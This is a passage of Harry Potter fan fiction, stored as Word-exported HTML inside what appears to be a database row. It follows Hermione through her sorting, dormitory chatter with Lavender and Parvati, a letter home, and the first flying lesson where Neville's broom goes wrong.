class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was very\nconfused.&nbsp; She hadn&#8217;t expected the hat to\nactually be able to talk to her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course I know\nyou&#8217;re a muggle-born and that doesn&#8217;t really matter.&nbsp; I see you have everything it takes to meet\nyour hearts desire, so I&#8217;ll grant your wish and send you to&#8230; Gryffindor!&#8221;\nHermione was about to take the hat off and go to her chosen table when she\nheard another whisper from the hat.&nbsp; &#8220;Be yourself, Hermione and you&#8217;ll get all of your heart&#8217;s\ndesires.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She took off the\nsorting hat, wondering how much of her insecurities the hat had gotten\ninto.&nbsp; Trying not to think of it, she\nwent to the table and sat beside the house prefect.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Later, during\ndinner, Hermione learned that the house prefect that she was sitting beside was\nan older brother of that horrible boy Ron.&nbsp;\nApparently he had three of them, all in Gryffindor.&nbsp; But unlike Ron, Percy the prefect was\nextremely kind to her and as eager about studying as she was.&nbsp; She was actually able to have a descent\nconversation with the fifth-year student.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Hopefully\nI&#8217;ll meet more people like him,&#8221;</i> she thought to herself.&nbsp; Even though Percy wouldn&#8217;t be in any of the\nsame classes as her, at least he was in the same house and that meant there was\nat least one person so far she knew she could talk to; even if he was the\nbrother of that vile Ron Weasley.&nbsp;\nHermione had scanned the entire room but she never did see the red-headed\ngirl, Anne, she had met earlier that summer.&nbsp;\nShe guessed she had gone to another school.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; On the other side of Percy was none other\nthan Harry Potter.&nbsp; He too had made it\ninto Gryffindor, along with his lapdog Ron.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She noted that\nonce again, he didn&#8217;t say much.&nbsp; Why was\nthat boy so quiet?&nbsp; Was it that he didn&#8217;t\nassociate with the &#8220;little people&#8221; choosing to let Ron talk for him?&nbsp; Was it that he had something he was\nhiding?&nbsp; No matter how hard she tried,\nshe just couldn&#8217;t get any sort of reading on the boy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Professor\nDumbledore was standing now.&nbsp; Hermione\nturned her attention to the high table to listen as he gave a few\nannouncements.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As it turned out, Hermione only had two\nroommates, Lavender Brown and Parvati Patil.&nbsp;\nThey seemed nice enough, but far too girly for Hermione&#8217;s taste.&nbsp; All they seemed to know how to do was\ngiggle.&nbsp; It was clear these two would\nbecome the best of friends, what wasn&#8217;t clear was if Hermione would be able to\nfit in too.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Why does\neverything feel like it&#8217;s a test,&#8221;</i> Hermione thought to herself as she\nwalked into her room and sat on the bed that had her trunk at the foot of it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This place is\namazing!&#8221; Lavender squealed as she plopped down on her bed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, it&#8217;s so\nbeautiful,&#8221; Parvati added as she entered. &#8220;I wonder what Padma&#8217;s dormitory is\nlike.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t believe\nyou two are in different houses.&nbsp; That&#8217;s\nso weird, you&#8217;re twins.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah I know but\nI guess we&#8217;re different in our own way,&#8221; Parvati said. &#8220;It would have been cool\nhaving her here though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender examined\nthe curtains around her bed. &#8220;This place has everything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love the\nsubtle magic everywhere,&#8221; Hermione added. &#8220;The candles automatically light at\nnight.&nbsp; Almost all the paintings were\ndone by Sanderson Selvington, one of the greatest\nwizard painters of the old era.&nbsp; Then\nthere are the magical corridors that were enchanted by Godrick Gryffindor\nhimself as another way to teach students of Hogwarts how to use their\nenvironment to their advantage.&nbsp; Did you\nknow that if you know the right charms, you can go anywhere in the castle in a\nmatter of minutes by making the halls and stairs shift to where you want.&nbsp; There must be over fifty secret rooms here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender and\nParvati were staring at her. &#8220;Whoa, where did you get all of that from?&#8221;\nLavender asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hogwarts:&nbsp; A History.&#8221; Hermione answered knowingly.&nbsp; She was beginning to wonder if anyone else in\nthe entire school had ever read the book.&nbsp;\nHow could you go to a school that you didn&#8217;t know anything about?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender bounced\nlightly on her four-poster. &#8220;So do you know any charms that could get us over\nto the boy&#8217;s dormitories?&#8221; she asked with a giggle. &#8220;I wonder what there rooms\nare like.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\nhave an answer to that.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I just want to\nknow what Harry&#8217;s dorm is like,&#8221; Parvati added. &#8220;Can you believe he&#8217;s actually\nin our house?&nbsp; I could just die.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s going to be\nthe most famous wizard at Hogwarts,&#8221; Lavender said dreamily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you think he\nalready has a girlfriend?&#8221; Parvati asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;A little too\nsoon to be thinking about that,&#8221; Hermione said with more disdain than she had\nintended. &#8220;You don&#8217;t even know the boy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can get to\nknow him,&#8221; Parvati said with a slight sulk.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not sure\nabout that,&#8221; Hermione said as she fell back on her bed exhausted. &#8220;He doesn&#8217;t\ntalk much.&nbsp; He lets that Ron kid do all\nthe talking for him, I&#8217;ve noticed.&nbsp; He\nbarely said a whole sentence to me when I met him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You met him!&#8221;\nLavender and Parvati both jumped on Hermione&#8217;s bed now. &#8220;What was he like?&#8221;\nLavender asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What did he\nsay?&#8221; Parvati pressed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Pretty much\nnothing,&#8221; Hermione said, shocked at their response. &#8220;Like I said, that rat, Ron\nWeasley did most of the talking.&nbsp; You&#8217;d\nthink they were joined at the hip or something.&#8221;&nbsp; Maybe her disdain for Ron was a little out of\nhand.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s weird.&#8221;\nLavender had a rare pensive look on her face. &#8220;I heard Harry Potter had to live\nwith muggles all his life away from the wizarding world.&nbsp; How would he know the Weasley family?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really?&#8221;&nbsp; Hermione\nhad never known that.&nbsp; None of the books\nthat talked about Harry Potter mentioned that he went to live with\nmuggles.&nbsp; It sort of made sense though\nsince both of his parents died.&nbsp; Maybe\nhis only living relatives were muggles.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;So he&#8217;s just\nlike me.&nbsp; He grew up never knowing about\nhis powers or anything about the wizarding world.&#8221;</i> Hermione realized she\nand the famous Harry Potter actually had a lot in common.&nbsp; She thought back to the haunting look that\nshe had seen in his eyes on the train.&nbsp;\nMaybe, he was just as lost and confused and scared about this new world\nas she was. &nbsp;Maybe he just latched on to\nthe first person that was nice to him and that&#8217;s why he&#8217;s friends with\nRon.&nbsp; If only she could find a way to\ntalk to him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll bet you I\ncan get him to talk to me first.&#8221; Parvati was telling Lavender.&nbsp; They were still on Hermione&#8217;s bed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh please,&#8221;\nHermione said with a huff as she sat up again. &#8220;He&#8217;s not a prize to be\nwon.&nbsp; He&#8217;s just a boy like everyone\nelse.&nbsp; It&#8217;s stupid to just go throwing\nyourself at him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parvati gave\nHermione a brief look of disdain but then her smile returned. &#8220;Well I guess we\nknow you won&#8217;t be any competition.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve got other\nthings to worry about,&#8221; Hermione said in a half mutter as she collapsed on her\nbed again. &#8220;I mean this is a school isn&#8217;t it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t have\ntime to worry about Harry Potter, or her ditzy roommates.&nbsp; She had a school to conquer.&nbsp; It was time to show Hogwarts what she was\nmade of.</p>\n\n\n\n<br style="page-break-before:always;\nmso-break-type:section-break" clear="all">\n\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 3, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summery:&nbsp; </b>Covers Hermione&#8217;s first few weeks in\nschool including the incident in their first flying lesson.&nbsp; Only this is what <i style="mso-bidi-font-style:\nnormal">really </i>happened&#8230; from Hermione&#8217;s point of view.<b style="mso-bidi-font-weight:\nnormal"></b></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here\n---</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&#8220;Dear Mom and Dad,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">My first week has been great.&nbsp; I love all of my classes, especially\ntransfiguration.&nbsp; It&#8217;s really difficult\nbut it&#8217;s well worth it.&nbsp; Professor\nMcGonagall told me in private that she thinks I have real potential (and that&#8217;s\nsomething coming from the toughest teacher at Hogwarts).&nbsp; The only class I&#8217;m not really sure about is\nDefense Against the Dark Arts.&nbsp; Professor\nQuirrell doesn&#8217;t seem to be the type of person who can teach us much about\ndefending against dark magic; although he does seem to know a fair bit about\ntrolls.&nbsp; I guess time will tell.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">The castle is wonderful.&nbsp; Everyday I find something new and they\ncertainly don&#8217;t let us starve.&nbsp; The meals\nare great, I don&#8217;t know how they prepare them all but they must have a huge\nkitchen staff.&nbsp; My dormitory is\nwonderful.&nbsp; Living in the Gryffindor\nhouse is everything I imagined it would be.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">All in all, everything is going\nwell.&nbsp; There are lots of other witches\nand wizards here who are just like me so I don&#8217;t feel too out of place.&nbsp; I&#8217;m looking forward to starting flying\nlessons soon so I&#8217;ll b sure to write you after my first class this week.&nbsp; I hope you two are doing well.&nbsp; I know your practices are pretty busy during\nthis time of the year.&nbsp; I can&#8217;t wait to\nsee you for the holidays.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">Love from,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">Hermione&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled\nover on her back on her bed and re-read her letter.&nbsp; Satisfied, she folded the parchment and\nclimbed off the four-poster.&nbsp; She walked\ndown the stairs to the Gryffindor common room and waved a silent hi to Parvati,\nLavender, Padma, and some other first year Ravenclaw girls that she hadn&#8217;t met\nas she headed through the portal to the corridor.&nbsp; It was their Friday afternoon break and these\ngirls were spending this free time having a lively, giggle-filled\nconversation.&nbsp; Hermione didn&#8217;t need to\nhear what they were saying to know that the topic had to be boys.&nbsp; It was always boys.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had\ntried, she really had tried, to be a part of their group and join in on their\nconversations, but she couldn&#8217;t bring herself to be that vapid all the\ntime.&nbsp; Lavender and Parvati just didn&#8217;t\nshare the same interests as she did.&nbsp; It\nwasn&#8217;t that they were mean to her.&nbsp; On\nthe contrary, they were always very nice and polite even though they didn&#8217;t\nreally understand her.&nbsp; They were good\nroommates, but Hermione just couldn&#8217;t open up to them, or anyone else for that\nmatter.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The only person\nshe&#8217;d really talked to was Percy Weasley, the house prefect, but that was\nmostly about classes.&nbsp; Everyone else\nthought Percy was pompous and smug but he never treated Hermione that way\nbecause she was just as interested in advancing at Hogwarts as he was.&nbsp; Percy was always eager to shell out some\nadvice to Hermione, and the young witch could hold her own in any verbal\ndebate.&nbsp; Even so, Percy wasn&#8217;t the kind\nof person she&#8217;d be willing to open up to about her personal life.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought\nabout her first few days at Hogwarts as she made her way towards the\nowlery.&nbsp; She hadn&#8217;t lied to her parents;\nshe was having the time of her life at Hogwarts so far.&nbsp; It was everything she dreamed of and\nmore.&nbsp; She had already earned close to\none hundred points for Gryffindor.&nbsp; She\nalready had a good start with all of the studying she had done over the\nsummer.&nbsp; All of her teachers were\nimpressed, except Snape, the Potions Master and head of Slytherin house.&nbsp; He seemed to dislike everyone, a trait all\nSlytherins seemed to possess from their head of house down.&nbsp; Hermione often wondered how they got along\nwith each other.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Snape was by far\nthe worse though, being a professor.&nbsp;\nGryffindors had they potions lessons with the Slytherins and Snape was\nmore than unfairly biased.&nbsp; He seemed to\nuse this class as his own personal torture session for the Gryffindors and his\nmain target was Harry Potter.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She thought back\nto her first potions lesson, which was earlier that day.&nbsp; Snape had given Harry a personal pop quiz in\nfront of the whole class, asking him questions no first year could have\npossibly known the answer to; well except Hermione of course, but the professor\nnever gave her the chance.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was still\nrare, even after several days of school, to see Harry talk.&nbsp; Occasionally she would see him talking with\nhis roommates during meals, but other than that he seemed to confide only in\nRon.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This time though,\nRon couldn&#8217;t do his speaking for him.&nbsp;\nSnape was drilling him and only him for the answers to these complex\nquestions.&nbsp; Hermione had tried to help.&nbsp; She figured if she could just get Snape to\ncall on her, he&#8217;d leave Harry alone.&nbsp; But\nno matter how high she raised her hand, the professor had ignored her.&nbsp; He was intent on making a mockery of Harry\nPotter.&nbsp;&nbsp; All Harry could say was &#8220;I\ndon&#8217;t know,&#8221; except for when he added, &#8220;I think Hermione does though.&nbsp; Why don&#8217;t you try her?&#8221; causing Hermione to\nblush.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Of course, all of\nthe classes weren&#8217;t that intense.&nbsp; In\nfact, her first transfiguration class earlier that week was memorable in its\nown humorous way.&nbsp; Apparently Parvati was\nserious about trying to get Harry to notice her.&nbsp; She had plopped down right beside him in and\ndid everything she could to get his attention from batting her eyes, to trying\nto whisper something Hermione couldn&#8217;t hear.&nbsp;\nParvati was so engrossed in trying to get Harry&#8217;s attention that she\nfailed to notice McGonagall standing right behind her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ms. Patil!&#8221; she\nshouted after two full minutes of watching Parvati&#8217;s antics. &#8220;If you are quite\nfinished displaying your skills as a mime to Mr. Potter, I&#8217;d like to continue\non with class.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry hadn&#8217;t even\nnoticed what Parvati was doing so hearing his named mentioned caused him to\nblush as well as Parvati.&nbsp; It was all\nHermione could do to keep from laughing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Serves her\nright,&#8221; </i>she thought as she opened the door the owlery.&nbsp; Even this many days after the event, Hermione\nstill couldn&#8217;t think about the scene without cracking a smile.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She found the\nnearest school owl and tied her letter to its leg.&nbsp; It took off immediately without any further\nprompting.&nbsp; She wondered if her mother\nwould be able to see through the letter and know that she hadn&#8217;t really made\nany friends yet.&nbsp;&nbsp; She didn&#8217;t want her\nfolks to worry about her.&nbsp; Even though\nshe hadn&#8217;t formed any tight bonds, she was still much happier than she had been\nat her old school.&nbsp; That was enough for\nher.</p>\n\n<p class="MsoNormal" style="mso-outline-level:1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Still&#8230;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She constantly\nplayed back the sorting hat&#8217;s final words to her.<i> &#8220;Be yourself, Hermione and\nyou&#8217;ll get all of your heart&#8217;s desires.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; What she desired\nmost was someone she could really be friends with, who would accept her for who\nshe was and not judge her or hate her because she was smart.&nbsp; It wasn&#8217;t that she wanted someone who was\njust like her or as into studying as her.&nbsp;\nShe didn&#8217;t need a clone.&nbsp; All she\nwanted was someone she could be herself around and know that they would always\nbe okay with that, no matter how strange she could be.&nbsp; She wanted&#8230; a best friend.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As she left the\nowlery, her thoughts once again went to Harry Potter.&nbsp; He&#8217;d never teased her, but he&#8217;d never really\ntalked to her either.&nbsp; He was raised with\nmuggles, but he was by far the most famous wizard at Hogwarts.&nbsp; He had probably come to Hogwarts looking for\na friend just like her, but unlike her, he had no problems finding someone who\nwould want to be his friend.&nbsp; What would\nhave happened if she had found Harry Potter first?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Bloody unfair,&#8221;\nshe muttered as she headed towards the library.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Anyone who knew\nHermione would have been able to tell instantly how nervous she was the morning\nof their first flying lesson.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You see, flying\nis really very easy as long as you know the proper techniques,&#8221; she said lively\nduring breakfast. &#8220;I read all about it in &#8216;Quidditch Through the Ages.&#8217;&nbsp; I mean who better to learn about broomstick\nflying from than from professional quidditch players.&nbsp; Of course, there is some skill and practice\ninvolved but it&#8217;s just like anything else, once you&#8217;ve studied the technique,\nyou&#8217;re halfway there.&nbsp; I&#8217;m sure it will\nbe fine.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She stuffed a\npiece of toast in her mouth to shut herself up, but it was no use.&nbsp; The moment she swallowed, she knew that she&#8217;d\nbe talking again.&nbsp; She couldn&#8217;t help\nit.&nbsp; Of course since no one else knew\nthis about her, she guessed she sounded as pompous and smug as people accused\nPercy of being.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;I wonder if\nPercy gets nervous a lot and that&#8217;s why people think he&#8217;s pompous,&#8221;</i> she\nthought to herself.<i> &#8220;Then again he doesn&#8217;t seem to prattle on like I\ndo.&nbsp; Maybe really smart people always\nseem pompous when they&#8217;re really nervous.&nbsp;\nNow that actually did sound pompous.&nbsp;\nIt&#8217;s a good thing I didn&#8217;t say that out loud.&#8221; </i>Hermione suddenly\nrealized that not only was she rambling aloud, she was even rambling in her\nthoughts.&nbsp; It was then that she realized\njust how much flying really terrified her.&nbsp;\nShe didn&#8217;t even know why.&nbsp; It\nwasn&#8217;t like she was afraid of heights.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was actually\nmore like she was afraid of failing.&nbsp; She\nhad to admit to herself that flying wasn&#8217;t something you could learn from a\nbook.&nbsp; After two weeks of outshining\neveryone in her classes, she didn&#8217;t want to look like a complete idiot on a\nbroomstick.&nbsp; To top things off they had\nflying lessons with none other than the Slytherins.&nbsp; Just what she needed, to make a fool of\nherself in front of Pansy Parkinson.&nbsp; So\nfar Hermione hadn&#8217;t been able to give the girl much ammunition for her insults,\nbut one slip up during flying and she knew she&#8217;d never hear the end of it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As if in answer\nto her silent prayers to have a distraction from thinking and talking about\nflying, the mail owls arrived.&nbsp; A large\nbarn owl landed in front of her with a letter.&nbsp;\nShe opened it eagerly.&nbsp; She rarely\ngot mail and it was always from her parents but she didn&#8217;t complain.&nbsp; In the entire time they&#8217;d been there, she&#8217;d\nonly seen Harry Potter get one letter.&nbsp;\nMaybe his family didn&#8217;t like using owls as mail carriers.&nbsp; Hermione&#8217;s folks had gotten used to it very\nquickly and loved how fast the owls delivered letters back and forth.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As she had\nexpected, the letter was from her mom. </p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&#8220;Dear Hermione,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">If I&#8217;m right, you&#8217;ll be receiving this\nletter during breakfast right before your first flying lesson this\nafternoon.&nbsp; So the first thing I should\ntell you is hush up.&nbsp; What will your\nfriends think of you if they hear you rambling on about whatever book you\npoured over last night to prepare you for this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\ngrinned.&nbsp; If anyone understood Hermione,\nit was her mother, having known her for eleven years.&nbsp; She continued the letter.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&#8220;In any case, dear, I&#8217;m sure you&#8217;ll do\njust fine today.&nbsp; I&#8217;m glad to hear that\nyou&#8217;re enjoying classes and school in general but don&#8217;t forget to enjoy life as\nwell.&nbsp; I know in time, you&#8217;ll find the\nright way to balance both.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione tucked\nthe note away in her robes and began to feel a bit better about her upcoming\nclass.&nbsp; It was then she noticed Draco\nMalfoy and two other Slytherins standing at the table near Harry, Ron, and\nNeville. Professor McGonagall was also there, though she seemed to be\nleaving.&nbsp; Malfoy dropped something on the\ntable and left with his friends.&nbsp; From\nthe angry looks on Harry and Ron&#8217;s faces, she realized she must have missed\nsome sort of fight.&nbsp; Whatever it was,\nMcGonagall had broken it up and now it was time for them to leave for their\nfirst class.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Up!&#8221; Hermione\nordered.&nbsp; The broom by her side barely\nmoved.&nbsp; She wondered vaguely if maybe it\nwas so old, it couldn&#8217;t respond correctly.&nbsp;\nThe handle had been broken at some point and repaired by spellotape.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Other brooms had\ndone exactly what Madame Hooch had said they would do, which was fly up into\ntheir hands.&nbsp; Why wasn&#8217;t this working for\nher?&nbsp; At least Pansy was having the same\nproblem.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Up!&#8221; she shouted\nat her broom again, though this time it was more of a plea.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The broom slowly\nrose to her hand.&nbsp; Hermione wondered if\nit was out of pity.&nbsp; No matter, at least\nshe had gotten this far.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now mount your\nbroom like so,&#8221; Madam Hooch said, demonstrating on her own broom.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione mimicked\nher example; keeping in mind everything she had read the previous night.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Very good Ms.\nGranger,&#8221; the teacher said. &#8220;Perfect form.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione let out\na sigh of relief as the teacher passed her.&nbsp;\nSo far so good.&nbsp; Even Neville, who\nwas right beside her, was getting the hang of it and he was the most nervous of\nthem all.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now all they had\nto do was fly up, hover for a bit and fly back down.&nbsp; It seemed simple enough.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then she noticed\nPansy Parkinson whispering something slyly to Draco Malfoy.&nbsp; They were both chuckling about\nsomething.&nbsp; Then Pansy looked up from\ntheir conversation and muttered something in Hermione&#8217;s direction.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Did she just\ncast a spell at me?&#8221; </i>Hermione wondered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then it\nhappened.&nbsp; Before Madam Hooch had had\neven blown her whistle, Neville was in the air.&nbsp;\nHe was floating higher and higher, a look of shock and fright on his\nface.&nbsp; Hermione looked up at him and then\nacross to Pansy, who was laughing hysterically with Malfoy.&nbsp; What had just happened?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now Neville was\nfalling.&nbsp; He landed with a loud thud only\na few feet away.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Poor Neville,&#8221;\nHermione heard Parvati sigh on the other side of her. &#8220;He shouldn&#8217;t have kicked\noff so hard.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But he <i>didn&#8217;t</i>\nkick off.&#8221; Hermione said whirling around. &#8220;I was right beside him.&nbsp; His broom just started on its own.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But nobody heard\nher.&nbsp; All of the Gryffindors were\ngathering around Madam Hooch who was leaning over Neville&#8217;s still body.&nbsp; If he hadn&#8217;t been a wizard, the fall probably\nwould have killed him.&nbsp; As it was, he\njust had a broken wrist.&nbsp; Madam Hooch\npicked up a very distraught Neville and started walking him to the hospital\nwing.&nbsp; Before she left, she made it very\nclear that if anyone attempted to fly while she was gone they&#8217;d be expelled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As soon as they\nwere gone, the Slytherins started laughing.&nbsp;\nHermione was sure that Pansy was the cause of the accident; she just\ncouldn&#8217;t prove it.&nbsp; No one saw what\nreally happened except for her and Malfoy, and he certainly 